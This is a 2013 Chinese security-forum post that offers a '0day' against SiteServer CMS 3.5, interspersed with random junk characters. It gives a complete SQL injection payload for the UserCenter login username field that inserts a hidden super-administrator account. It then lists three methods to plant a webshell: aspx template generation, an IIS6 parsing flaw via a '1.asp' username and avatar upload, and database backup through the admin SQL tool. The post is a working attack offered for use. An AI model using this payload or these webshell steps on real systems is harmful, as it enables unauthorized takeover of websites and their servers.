找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2152|回复: 0
打印 上一主题 下一主题

SiteServer CMS 0Day

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-11 21:10:58 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
经测试秒杀最新的3.5版1 W, g% }3 e* _. P9 O

# L) n: B& W* x' ^( Estieserver官网:www.siteserver.cn$ d/ f1 G9 O; B* Y) V
- Z3 v* O6 L7 z1 Q

  W5 T9 s2 z' }% Z# r$ [2 o
/ E( I5 s0 W% X# H! hEXP:
# j" r; ?( Y! y: {2 q
/ C1 u- W' i; k7 D直接访问UserCenter/login.aspx
8 U' ]4 [9 C# [; K8 J& [; Q% F3 c2 O2 F

% Y8 o5 ?7 c* E/ e6 P% l) k& I1 J' D- V" n* L
用户名处输入:
9 Y( h) g* T4 O6 Z' T: ~$ Z2 A/ p+ @5 j% L" I
123'insert into bairong_Administrator([UserName],[Password],[PasswordFormat],[PasswordSalt]) values('blue','VffSUZcBPo4=','Encrypted','i7jq4LwC25wKDoqHErBWaw==');insert into bairong_AdministratorsInRoles values('Administrator','blue');insert into bairong_AdministratorsInRoles values('RegisteredUser','blue');insert into bairong_AdministratorsInRoles values('ConsoleAdministrator','blue');--
# j5 ]. l7 I2 S. ]4 u$ O+ ~9 x" g, W1 r, y3 g0 E

6 A! B& z( Z, y, K$ R
/ M; s, F& ]: w5 Z3 h! _' ]; G密码为空,输入验证码后提交,既可向数据库中插入一个用户名为blue  密码为lanhai的超级用户。' s# T* F8 F" u: ~' M, N

5 {3 R9 z# t0 f& L& {- S% J0 ?; t8 z $ \% o  s# Z9 o) v
9 u2 Z& K; ~3 D$ H2 q" P3 G
之后再访问后台SiteServer/login.aspx用插入的用户登陆; i/ J) C  F5 H  z% s
" |$ q- f* ~* O* i

" X0 B( N3 b/ X1 s
( [3 f- x/ I% i9 A' S. O! o后台拿webshell的三种方法:
, T! G7 X$ q+ j7 z* Z; p6 E5 Z& S
9 C* F! W. Y4 y6 w/ k# ]+ {一、$ s/ l4 s, E4 X6 \
% h/ {4 g6 H# C0 J/ O
站点管理-》显示功能-》模板管理-》添加单页模板-》直接生成aspx
" W7 f! m; V3 c) f; Z2 }8 W6 D6 {$ o6 t. s" c3 Y
二、9 K2 |8 F9 T( C. e

% v6 c2 i' J2 H, j" `成员权限-》添加用户-》用户名为:1.asp9 e) {+ G, h+ {3 [( ]  g$ I

0 C  t, \+ \5 C. g# ahttp://127.0.0.1/usercenter/' G7 t# u( i# `& @' g

, z  g( d  ~  f6 @& [5 \用刚才添加的1.asp去登陆,进去之后上传个人头像,利用IIS6解析漏洞得webshell
. R0 _3 t- s" L0 R9 ^3 W5 ]* j
" p% b! d' L6 _8 q' l) A/ T3 Q# D* C(ps:后台添加用户时不会验证是否含有非法字符)/ L* y5 S% g1 R
* B9 |. r+ _) ]4 G! ~% n7 W
三、
1 a5 m+ U6 d9 |& e* t' t3 i' _9 \5 N! |4 e% g" c; ^0 r  \% d
系统工具-》实用工具-》机器参数查看! v: w  K" X% ]; ^. \* c
可以看到数据库类型、名称,WEB路径
3 [0 H* B* S0 z
# i6 p* m% A# @0 y6 T8 Y/ D系统工具-》数据库工具-》SQL语句查询2 c6 y4 b; i5 [& A  }
这功能做的不错,直接就相当于一个查询分析器,什么回显都有,可以backup得webshell,或者利用sqlserver配置不当直接XXOO。
4 F% @2 ]5 o! d7 n4 ]- i# ^
: ?6 A5 v1 z. P, S
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表